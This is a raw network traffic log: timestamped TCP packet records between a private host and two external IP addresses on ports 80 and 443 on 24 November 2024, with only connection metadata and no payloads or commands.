Nov 24, 2024 23:24:35.591546059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.591562986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.591609955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.591626883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.592196941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.592330933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.592392921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.592417955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.593092918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.593146086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.593178988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.593219995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.593960047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.594019890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.594059944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.594100952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.594881058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.594994068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.595041037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.595714092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.595782995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.595824957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.595938921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.596009970 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.596034050 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.596074104 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.596090078 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.596106052 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.596122980 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.596630096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.596735001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.596743107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.596790075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.597496033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.597600937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.597603083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.597666979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.598361015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.598409891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.598470926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.598566055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.599242926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.599375963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.599436045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.600114107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.600173950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.600249052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.600289106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.601028919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.601125956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.601262093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.601893902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.602015972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.602042913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.602062941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.602797985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.602912903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.602983952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.603692055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.603754044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.603838921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.603970051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.604547977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.604602098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.604662895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.604705095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.605437994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.605495930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.605504036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.605562925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.606482029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.606570959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.606585026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.606789112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.607199907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.607259035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.607321978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.607414961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.608103037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.608156919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.608278036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.608325958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.608968973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.609074116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.609118938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.609827042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.609939098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.609966040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.610089064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.610739946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.610891104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.611011982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.611610889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.611745119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.611778021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.612489939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.612571001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.612587929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.612642050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.613384008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.613492012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.613518953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.613533020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.614243031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.614362001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.614418983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.615128994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.615187883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.615240097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.615273952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.705677032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.705770969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.705785990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.705940008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.706113100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.706163883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.706362963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.706471920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.707046986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.707179070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.707232952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.707896948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.707973957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.746078014 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.746104002 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.746186018 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.746232986 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.746289968 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.773700953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.773771048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.773778915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.773818970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.774157047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.774221897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.774379969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.774430990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.775023937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.775079012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.775114059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.775316000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.775548935 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.775573015 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.775635004 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.775645971 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.775717020 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.775950909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.776048899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.776070118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.776122093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.776851892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.776917934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.776985884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.777035952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.777729988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.777789116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.777861118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.777992010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.778590918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.778692007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.778728962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.778765917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.779521942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.779537916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.779589891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.779618979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.780307055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.780364990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.780412912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.780761003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.781220913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.781281948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.781342983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.781467915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.782102108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.782172918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.782205105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.782264948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.782968044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.783019066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.783052921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.783188105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.783863068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.783911943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.783991098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.784039021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.784765959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.784826040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.784887075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.785619974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.785682917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.785850048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.786113024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.786540985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.786592007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.786637068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.786731958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.787379980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.787432909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.787467957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.787512064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.788252115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.788306952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.788341999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.788382053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.789146900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.789249897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.789303064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.790028095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.790081978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.790121078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.790180922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.790911913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.790968895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.791007042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.791047096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.791786909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.791841984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.791874886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.791915894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.792922974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.792978048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.793016911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.793181896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.793628931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.793648958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.793683052 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.793701887 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.793723106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.793777943 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.793785095 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.793838978 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.794454098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.794574022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.794580936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.795300961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.795366049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.795406103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.795449018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.796194077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.796236992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.796257973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.796283007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.797137976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.797322989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.797377110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.797970057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.798036098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.798079967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.798156023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.798966885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.798995018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.799040079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.799057961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.799721003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.799829960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.799896955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.800605059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.800664902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.800695896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.800878048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.801481009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.801609993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.801672935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.802359104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.802423954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.802462101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.802510023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.803244114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.803307056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.803388119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.803428888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.804136992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.804203033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.804231882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.804438114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.804835081 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.804862022 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.804871082 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.804908037 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.804936886 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.804941893 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.804974079 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.804994106 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.804994106 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.804997921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.805021048 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.805052042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.805097103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.805198908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.805886030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.805985928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.805990934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.806037903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.806751013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.806822062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.806862116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.806902885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.807634115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.807713032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.807729006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.807785988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.808542013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.808656931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.808779955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.809395075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.809518099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.809622049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.810311079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.810365915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.810370922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.810497999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.811178923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.811230898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.811275005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.811371088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.812058926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.812112093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.812159061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.812218904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.812897921 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.812916994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.812917948 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.812963963 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.812971115 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.813008070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.813024998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.813035965 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.813050032 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.813225031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.813818932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.813924074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.813981056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.814707994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.814801931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.814867020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.815593004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.815609932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.815659046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.815681934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.816476107 CET	80	49760	185.215.113.206	192.168.2.5
